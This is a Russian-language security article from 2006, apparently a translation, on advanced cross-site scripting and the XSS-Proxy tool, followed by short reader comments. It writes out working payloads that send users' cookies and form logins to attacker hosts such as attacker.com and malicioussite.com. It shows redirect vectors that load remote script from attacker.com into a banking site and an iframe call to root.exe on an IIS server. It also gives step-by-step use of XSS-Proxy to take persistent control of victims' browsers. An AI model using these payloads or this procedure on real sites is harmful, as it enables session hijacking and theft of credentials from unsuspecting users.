14.08.2006

Продвинутый межсайтовый скриптинг с удаленным контролем в реальном времени

image

В статье будут описаны существующие XSS атаки и будет разработан новый метод для создания интерактивных, двунаправленных, постоянных и более опасных XSS атак.

Антон Регер

Межсайтовый скриптинг обычно воспринимается разработчиками и экспертами безопасности как минимальная угроза. В этой статье мы хотим развеять этот миф и представить инструмент XSS-Proxy, который позволяет удаленному атакующему полностью контролировать XSS нападение. В статье будут описаны существующие XSS атаки и будет разработан новый метод для создания интерактивных, двунаправленных, постоянных и более опасных XSS атак.

Основные типы XSS нападений

Большинство читателей считают, что существует 2 основных вектора XSS нападений:

1. Хранимый XSS – злоумышленник сохраняет выполняемый сценарий на форумах, блогах и других сайтах. Сохраненный сценарий будет выполнен в браузерах всех пользователей, посетивших уязвимую страницу. В результате:
  •  Атакующий может загрузить сценарий, который будет выполнен каждый раз при просмотре страницы.
  •  Popup, редиректы и прочие неприятности
  •  Отправка куки пользователя сайта на сервер атакующего.
Например, публикация следующего сообщения:

<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

приведет к загрузке изображение с сервера атакующего, которому будут переданы куки пользователя, просмотревшего эту картинку.

    2. Отраженный XSS. Злоумышленник может внедрить произвольный код сценария в документ, доступный целевому пользователю, или в email сообщение. В результате:
  • Данные пользователя изменяют результирующую страницу и позволяют внедрить команды сценария в возвращенную страницу (поиск на сайте и отраженные результаты).
  • Обычно работает с 1-м типом атак на публичном сайте/email для того чтобы вызвать принудительный URL редирект на 2-й сайт.
  •  Куки и другие важные данные сайта (например, скрытые поля форм) могут быть доступны атакующему.
 Например, на сайте публикуется следующее сообщение:

<script>document.location=’http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>’</script>

Затем, когда пользователь будет перенаправлен на сайт banking.com с XSS, будет возвращен и выполнен следующий скрипт:

<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

 Этот сценарий пытается загрузить изображение с сервера атакующего, которому будут переданы куки пользователя сайта banking.com.

Ранее было замечено, что более эффективная манипуляция может быть достигнута с помощью XSS сценария, который открывает IFRAME (или другой оконно-подобный элемент) и загружает/представляет его для других документов на том же самом сайте. Доверие DOM (Document Object Model) модели позволяет Javascript взаимодействовать с другими окнами и элементами IFRAME, до тех пор, пока окна указывают на тот же самый документ домена (протокол + имя домена + порт).

Этот метод XSS атак обычно ограничен единственной транзакцией к злонамеренному серверу и используется для кражи кук или передачи данных формы.
 
Типы утечки информации:
  • Браузер может раскрыть куки сайту атакующего (данные сессии, параметры заказа и т.п.)

    http://host/a.php?variable="><script>
    document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>
  • Браузер может раскрыть данные отправленной формы сайту атакующего (UserID/пароль и т.п.):
    <form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form>
  • пользователю может быть представлена обманная форма (заказа, регистрации и т.п.) на доверенном сервере: 
    www.trustedserver.com/xss.asp?name =<iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe>
  •  Пользователь может участвовать в нападении на другие сайты:
    /hello.asp?name = <iframe  src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>

 Ограничения подобных атак

Обычно можно осуществить только одну транзакцию с XSS кодом против уязвимого сервера
  • Большинство атак направлены на кражу куки
  •  Редко используется XSS в POST формах, обычно всегда используется метод GET.
  • Атакующий не знает фактические ответы браузера. По этому, рекомендуется использовать в POST запросах скрытые данные формы и другую информацию о состоянии сессии, чтобы ограничить риск XSS нападений.

Особенности Document Object Model

  •  Доверие между дочерним окном и тем же самым сайтом
  •  Сценарии могут взаимодействовать между двумя окнами
  • Данные сценария могут быть загружены куда угодно
  • Картинки могут быть загружены куда угодно
  • Javascript может быть в пределах <script></script> тегов, загруженный через <script src=remote.com> или внутри многих тегов, например <img src=javascript….onload=javascript>
  •  GET/POST формы могут быть переданы другому сайту через javascript действия.
  • XSS злоупотребляет правилами DOM, однако подчиняется этим правилам.

Основы XSS-Proxy нападения

 Расширим обычное XSS нападение и объединим его с возможностью загружать дополнительные Javascript команды с произвольных удаленных серверов, чтобы использовать XSS не только для редиректа с кражой данных куки. Эта комбинация позволяет атакующему установить постоянный, двунаправленный канал контроля/передачи к XSS жертве и получить доступ к уязвимым сайтам как жертва. Пока жертва находится внутри обманного XSS окна в том же самом местоположении, мы можем полностью контролировать браузер жертвы против XSS сайта с возможностью перенаправлять пользователя на другие уязвимые сайты или создавать определенные слепые запросы на другие сервера.

Это возможно выполнить с любым из двух типов атак, описанных выше, но мы опишем пример XSS редиректа с двумя серверами. Жертва получает XSS вектор через сообщение блога, форума, email и т.п. (жерва посещает некоторый публичный сайт evilblog.com, где другие пользователи могут создать XSS) и затем Javascript код переадресовывает пользователя на другой сайт (например, banking.com, который уязвим к XSS в форме поиска через GET запрос). Перенаправляемый URL ссылается на уязвимый раздел на втором сервере, который заставит сервер ответить Javascript командой, которая будет выполнена в браузере жертвы.

 Начальный XSS вектор на evilblog.com будет выгладить примерно так:

  <script>document.location=”http://banking.com/search?name=<script src=’http://attacker.com/xss.js’></script>”</script>

 Страница, возвращенная вторым сервером (banking.com), будет содержать следующий скрипт:

 <script src='http://attacker.com/xss.js'></script>
 
Окно жертвы теперь имеет текущий документ домена banking.com и Javascript команды будут выполнены в контексте этого домене. Этот Javascript заставит жертву выполнить запрос к attacker.com для получение других команд сценария. Утилита XSS-Proxy фактически запускается на сервере attacker.com и использует код Javascript, который состоит из нескольких функций для чтения документов, отправки форм, перенаправления ответов и обработки ошибок, а также некоторых команд для создания IFRAME, загрузки корневого документа (/) целевого сервера (banking.com) в этот IFRAME, ожидания нескольких секунд до его полной загрузки, прочтения данных (используя innerHTML), выполнения дополнительных запросов сценария на http://attacker.com. Звучит сложно, но это только несколько функций, некоторые ссылки на эти функции и таймер событий, чтобы выполнить дополнительные вызовы сценариев к XSS-Proxy серверу. Эти функции остаются в памяти, пока не изменится окно жертвы. Обычно происходит 2 события, когда атакующий выполняет подзапросы к  http://attacker.com:

1. Содержание документа в IFRAME (результат innerHTML для этого объекта), будет передано в URL сценария запроса. Сценарий использует только GET, так что жертва запрашивает сценарий как обычный документ, и собирает параметры/информацию из URL после имени сценария/страницы. Результирующий запрос на сервер атакующего будет выглядеть следующим образом:

GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

Фактически это выглядит значительно более сложно, так как IE ограничивает длину URL (2049 символов), таким образом, большинство документов будет разбито на части, которые будут соответствовать URL запросу сценария. Программа пытается обработать их, помещая некоторую дополнительную информацию в URL запросы для повторной сборки.

2.       Сервер http://attacker.com ответит на последний запрос сценария большим количеством javascript команд. Сервер либо ответит циклическим ответом (в основном говорит жертве подождать несколько секунд и запросить дополнительные команды), запросом документа (загрузит документ в IFRAME, прочитает его и отправит обратно результат в ожидании дополнительных команд), отправкой данных формы (установит значения для элементов форм в IFRAME, отправит данные формы, подождет ответ от сервера, прочитает ответ и перенаправит результаты атакующему серверу и получит дополнительные команды), или javascript функция оценит ответы (внутри текущего окна браузера жертвы и возвратит  результат+get команды). Этот процесс будет продолжаться, пока жертва остается на той же самой странице.

Существует множество методов сокрытия фактического "резидентного"  окна атаки или IFRAME загрузчика. Основное окно может быть скрыто или может быть оставлено оригинальное содержание сайта, а спрятан только IFRAME. Утилита  XSS-Proxy оставляет окно и IFRAME видимым жертве, но это легко изменить – атакующий может сделать это в интерактивном режиме с Javascript Eval. Также существует множество методов, чтобы заставить пользователя загрузить новое окно и с небольшим количеством дополнительной логики можно обойти блокировку pop-up окон (XSS процесс уже перезаписывает ссылки в оригинальном документе, чтобы по клику открыть новое окно). Новое окно может быть зеркалом того, что пользователь только что просматривал или результатом клика на ссылку в публичном XSS документе и можно заставить пользователя покинуть окно, контролируемое XSS, пока он продолжает серфинг в браузере.

Используем XSS прокси

Чтобы понять то, что было описано выше, проверим утилиту против вашего уязвимого к XSS сайта и подчеркнем возникшие при этом угрозы.  Мы продемонстрируем несколько примеров, в которых участвует ваш XSS-уязвимый  сервер и локальный браузер в качестве жертвы, XSS-Proxy и браузер атакующего.

Краткий обзор использования XSS прокси:
  1. Изменяем в perl сценарии переменную $code_server и $PORT, которые указывают на систему, в которой будет запущен perl сценарий. По умолчанию http://localhost  на 80 порту.
  2.  Запускаем perl сценарий и указываем ему атакующий браузер в папке /admin на сервере, на котором запущен сценарий. По умолчанию http://localhost/admin. Это консоль администрирования атакующего, которая может использоваться для просмотра или управления результатами.
  3. URL инициализации, на который жертва должна указать - /xss2.js – Ваш начальный XSS вектор должен ссылаться на perl сервер и это имя файла, например: <script src="http://localhost/xss2.js"></script>
  4. После того, как вы инициализировали жертву в ожидающем цикле, вы можете или просмотреть документ на XSS сайте и кликнуть на ссылку, которую вы хотите, чтобы посетила жертва, или войти в документы/переменные в соответствующих полях формы.

Команды и операции администратора XSS-proxy.

  • Данные в консоли не обновляются самостоятельно. Для этого необходимо нажать кнопку refesh/reload в вашем браузере.
  • Для работы консоли можно отключить Javascript.
  • Сессии отображаются в разделе "Clients", как только жертва получает XSS.
  • Каждая жертва/сессия должна направить копию корневого каталога XSS сервера.
  •   Отправленные документы отображаются в разделе Document Results". Если вы кликните на документ, он перепишет URL и ссылки внутри этого документа, в результате XSS-Proxy заставит клиента загрузить эти ссылки.
  • Если вы изменяете и отправляете формы, тогда вы должны удостовериться что последняя страница, которую загрузил клиент, является той же самой страницей, затем заполните параметры и утвердите форму. Тут также некоторые URL могут быть перезаписаны, и код предполагает, что страница уже загружена жертвой.
  •    Вы также можете загрузить документы вручную, введя URL в the "Fetch Document" форме. Первое значение (левое) является номером сессии,  второе значение документ который необходимо загрузить (т.е. 0 и http://xssed.com/stuff). Полученный документ будет отображен в разделе "Document Results"
  •   Другая форма под названием "Evaluate" используется для запросов  Javascript переменных/функций от определенного клиента. Введите сессию слева и переменные справа ((т.е. 0 и document.cookie, чтобы отобразить куки для 0 сессии).
  •   Результаты запросов отображаются в разделе "Eval Results”.
  •  Обработчик ошибок в браузере жертвы отображает ошибки в загруженных страницах и отображает их в разделе "Errors".
В коде все еще присутствует несколько ошибок, поэтому прочитайте комментарии в контролируемых сценариях, чтобы быть готовым к возможным проблемам. Нападение работает в браузерах IE и Firefox (c небольшими изменениями будет работать и в других браузерах) и Perl скрипт может быть запущен на любой операционной системе с установленным Perl интерпретатором. Работа программы проверена на Linux и Windows (Activestate Perl) с Perl5. Наиболее устойчивой платформой является Apache и сервер баз данных.

Значение атаки/инструмента

Это нападение позволяет установить постоянное подключение и загрузить произвольное число документов в браузере жертвы. Такие жертвы называют “Браузеры-Зомби”. Возможность  просматривать документы, изменять и представлять документы, к которым жертва может иметь доступ, позволяет атакующему получить доступ к сайту от имени XSS -жертвы. Это полезно, когда жертва уже зарегистрирована на сайте и атакующий внедряется в текущую сессию. XSS-Proxy один из примеров session-riding и объединенного XSS и может использоваться для получения доступа к тем же самым ресурсам, к которым имеет доступ жертва. В результате можно работать в кешированных/существующих входах в систему, получить доступ к сайту с авторизацией через клиентские сертификаты или ограниченного по IP адресам и получить доступ к другим ресурсам в обход межсетевого экрана.

Эта атака также позволяет в реальном времени получить доступ к браузеру жертвы и другим content-type или уязвимостям браузера и может быть также потенциально усилена для дополнительного доступа к браузеру/хосту жертвы. Этот контролируемый канал может также использоваться для поставки других форм злонамеренных программ.

Это также означает, что начальная XSS атака и контролируемая сессия ограничена не только уязвимым XSS сервером. Атакующий может перенаправить жертву на другие XSS уязвимые сайты и определить какой доступ жертва имеет к этим сайтам.  Это может быть список сайтов, в которых атакующий имеет известную XSS уязвимость и может проверить уровень доступа для определенной  жертвы. XSS-Poxy может сделать это, если клиент выполнит выражение document.location="http://newxsssite.com/xsscode. Вот пример, если XSS-Proxy имеет существующую сессию 0:

  Session: 0
  Expression: document.location=http://2ndxsssite.com/search.cgi?test=%3Cscript%20src='http://attacker.com/xss2.js'%3E%3C/script%3E
 
Команда выше изменяет текущее местоположение основного окна жертвы к новой XSS цели, загружает код с сервера атакующего, пересоздает и загружает IFRAME и загружает новую сессию с http://2ndxsssite.com в домене текущего документа. Мы передали начальный XSS на другую цель и продолжили контролировать жертву.

Расширение этой идеи должно вынудить жертву продолжать заниматься серфингом в окне, созданным атакующим и другое XSS внедренное окно выполнить периодические редиректы к списку интересующихся XSS сайтов – с каждым редиректом, атакующий проверяет что видит жертва на каждом из этих сайтов. Если диалоговое окно будет на том же самом сайте, что и текущий XSS проверяемый сайт,  атакующий может прочить содержание интерактивного окна. Это означает, что атакующий может как бы находится за плечом жертвы во время серфинга и даже изменять ответы сервера и представленные данные, пока жертва находится на том же самом сайте. XSS-Proxy в настоящее время не делает этого, но некоторые интерактивные выражение для этой сессии могут создавать popup окно (если это разрешено в браузере), разворачивать его в полный экран и периодически проверять окно, чтобы увидеть что жертва занялась серфингом в местах, которые могут быть прочитаны. Для полезного нападения, она должна быть закодирована в XSS-Proxy как другая команда атакующего.

Другие возможности этого нападения позволяют осуществить поиск других сайтов на наличие XSS уязвимости. Можно изучить ответы, при попытке IFRAME/window вернуться обратно к XSS контролируемому сайту и попытаться уже резидентному XSS коду снова прочитать фрейм. Если попытка эксплуатации XSS неуспешна, то резидентный XSS код не сможет прочитать IFRAME, удалит IFRAME и выполнит следующую попытку. XSS-Proxy имеет логику отрицания IFRAME доступа, который удаляет  IFRAME и загружает оригинальный корень оригинального XSS сайта в случае неудачного чтения IFRAME. Это может использоваться для выполнения CSRF XSS fuzzing атаки с GET URL, прося клиента извлечь документ из другой целевой системы и включить некоторый XSS код в URL, чтобы обратно установить фрейм к основному XSS сайту в случае удачи. Пример, который позволяет XSS-Proxy и жертве с сессией 0 на сайте http://xsssite1.com, проверить сайт http://csrfprobesite.com:

Form: Fetch Document
  Session: 0
  Location: http://csrfprobesite/probeurl?probevalue=<script>
document.location="http://xsssite1.com/lalalalala"

Если XSS-Proxy получит ошибку доступа к документу в загруженном IFRAME, то попытка провалилась. Если ошибка не отобразится и новый загруженный IFRAME документ установит местоположение к "http://xsssite1.com/lalalalala", то попытка удачна. Следует учитывать, что IE требует чтобы было более 512 байт в 404 сообщении об ошибке, чтобы перезаписать IE res:// 404 ошибку. Firefox всегда читает 404 ошибку полученную от сервера.

Это нападение очень опасно и, в совокупности  с любым другим будущим нападением, связанным с DOM доверием в браузерах (такие уязвимости ежемесячно обнаруживают в браузере Firefox), делает проблему еще хуже, поскольку позволяет получить доступ к любым документам, к которым имеет доступ жертва. Сейчас XSS прокси только захватывает содержимое документа  (HTML/Text), а картинки, файлы и другие данные не могут быть загружены атакующим. Удаленный поиск этих файлов возможен с использованием функций типа XMLHTTP для произвольных двоичных файлов на целевом сервере.
или введите имя

CAPTCHA
1
14-05-2007 13:56:19
Перевод слегка заумный.
0 |
indiana
08-04-2010 16:59:22
а как чужой скрипт попадает на сайт?
0 |
tester
06-10-2010 10:33:58
зачем так сложно, можно сразу загрузить любой скрипт, с любого домена. Но в любом случае позновательно. Хотя возможно тело скрипта тяжко вставить, вот и приходится тогда вставлять скрипты ... картинками
0 |
cybermerlin
08-12-2011 15:24:10
статья бредовая, весь текст умещается в 4 строчки xss возможен если: - у клиента картинки парсятся браузером и могут быть распознаны как скрипт-блок - разработчик скриптами делает внедрение в ДОМ результаты запроса от сервера - разработчик скриптами делает eval() остальное - комбинации автора на кол
0 |